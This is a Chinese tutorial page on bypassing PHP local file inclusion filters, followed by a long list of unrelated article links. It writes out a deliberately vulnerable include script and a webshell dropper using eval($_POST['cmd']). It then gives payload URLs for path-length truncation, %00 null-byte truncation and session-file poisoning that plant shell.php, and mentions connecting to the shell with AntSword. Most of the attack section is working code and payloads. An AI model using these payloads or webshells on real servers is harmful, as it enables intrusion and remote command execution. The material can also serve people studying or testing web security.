任意文件包含漏洞的绕过方式
时间:2022-07-24
本文章向大家介绍任意文件包含漏洞的绕过方式,主要内容包括其使用实例、应用技巧、基本知识点总结和需要注意事项,具有一定的参考价值,需要的朋友可以参考一下。
前期准备
file.php代码
<?php
$a = $_GET['a'];
include($a.'.html');
?>
hack.php代码
<?php
fputs(fopen('shell.php','w'),'<?php eval($_POST["cmd"]);?>');
?>
长目录截断
原理
在windows下目录最大长度为256字节,linux下为4096字节,其后面超出部分被丢弃。
正常访问
payload
使用.
绕过
http://192.168.232.128/file.php?a=hack.php.......................................................................................................................................................................................................................................................
成功生成木马文件
蚁剑连接
使用./
绕过
http://192.168.232.128/file.php?a=hack.php././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././
PS:当这些符号被过滤时,我们可以尝试URL编码绕过。即当“.”和“./”被过滤时,我们可以尝试使用URL编码绕过“.”–>%2E,“/”–>%2F
%00截断
原理
php基于c语言,是以0字符进行结尾的,所以可以用%00进行截断,之后的字符就不会再读取
条件:
magic_quotes_gpc=off php<5.3.4
payload
http://192.168.232.128/file.php?a=hack.php%00
基于session机制传马
条件:
知道session的存储位置(或者通过phpinfo获取到存储位置) session的值可控 存在本地文件包含漏洞
设置session的PHP文件
<?php
session_start();
$ctfs=$_GET['s'];
$_SESSION["username"]=$ctfs;
?>
payload
http://192.168.232.128/se.php?s=<?php fputs(fopen('shell.php','w'),'<?php eval($_POST["cmd"]);?>');?>
F12通过network找到cookie中的PHPSESSID
然后通过之前的file.php文件去包含session存放的文件
http://192.168.232.128/file.php?a=../tmp/tmp/sess_8e2fe1323579620d07c94cfd568be488%00
木马生成成功
总结
可能的绕过方式
- 双写绕过
- 使用绝对路径
- 对于Windows系统可以使用反斜杠
- 编码绕过
- 使用伪协议
- 等等…
- word2vec 模型思想和代码实现
- 碎片化 | 第四阶段-48-hibernate概述和配置-视频
- 【LEETCODE】模拟面试-357- Count Numbers with Unique Digits
- Python 爬虫 2 爬取多页网页
- 碎片化 | 第四阶段-49-hibernate之HQL查询操作-视频
- Spring Cloud各组件超时总结
- 总结Web应用中常用的各种Cache
- 碎片化 | 第四阶段-50-hibernate之Criteria和NavtiveSQL查询操作-视频
- kafka_2.11-0.11.0.1集群搭建
- Spring Cloud Edgware新特性之五:filters端点
- 碎片化 | 第四阶段-51-Hibernate注解使用-视频
- 基础JavaScript装逼指南
- 碎片化 | 第四阶段-42-校验验证码-视频
- Angularjs中UI Router超级详细的教程{{上}}
- JavaScript 教程
- JavaScript 编辑工具
- JavaScript 与HTML
- JavaScript 与Java
- JavaScript 数据结构
- JavaScript 基本数据类型
- JavaScript 特殊数据类型
- JavaScript 运算符
- JavaScript typeof 运算符
- JavaScript 表达式
- JavaScript 类型转换
- JavaScript 基本语法
- JavaScript 注释
- Javascript 基本处理流程
- Javascript 选择结构
- Javascript if 语句
- Javascript if 语句的嵌套
- Javascript switch 语句
- Javascript 循环结构
- Javascript 循环结构实例
- Javascript 跳转语句
- Javascript 控制语句总结
- Javascript 函数介绍
- Javascript 函数的定义
- Javascript 函数调用
- Javascript 几种特殊的函数
- JavaScript 内置函数简介
- Javascript eval() 函数
- Javascript isFinite() 函数
- Javascript isNaN() 函数
- parseInt() 与 parseFloat()
- escape() 与 unescape()
- Javascript 字符串介绍
- Javascript length属性
- javascript 字符串函数
- Javascript 日期对象简介
- Javascript 日期对象用途
- Date 对象属性和方法
- Javascript 数组是什么
- Javascript 创建数组
- Javascript 数组赋值与取值
- Javascript 数组属性和方法
- 【每周一库】- JWT的Rust实现
- 【Rust日报】2020-08-15 Rust Nightly 标准库文档已涵盖了每个关键字
- 【Rust日报】2020-08-16 Cranelift现在可以编译rustc,比LLVM的编译速度快7倍!
- 【Rust日报】2020-08-17 浏览器之外的 WebAssembly
- 前沿技术探讨:Rust语言真的安全吗?
- Java、Go和Rust间的比较
- 【文末送书】非常实用的 Python 技巧
- 消息队列:Rabbitmq如何保证不丢消息
- 二叉树:删除节点
- Go之heap
- 算法篇:树之topk问题
- 一文掌握14种UML图
- 猿实战01——vue后台前端框架搭建
- 猿实战02——Spring+mybatis+maven+多模块框架搭建姿势
- 分布式集群调度框架Mesos架构与实现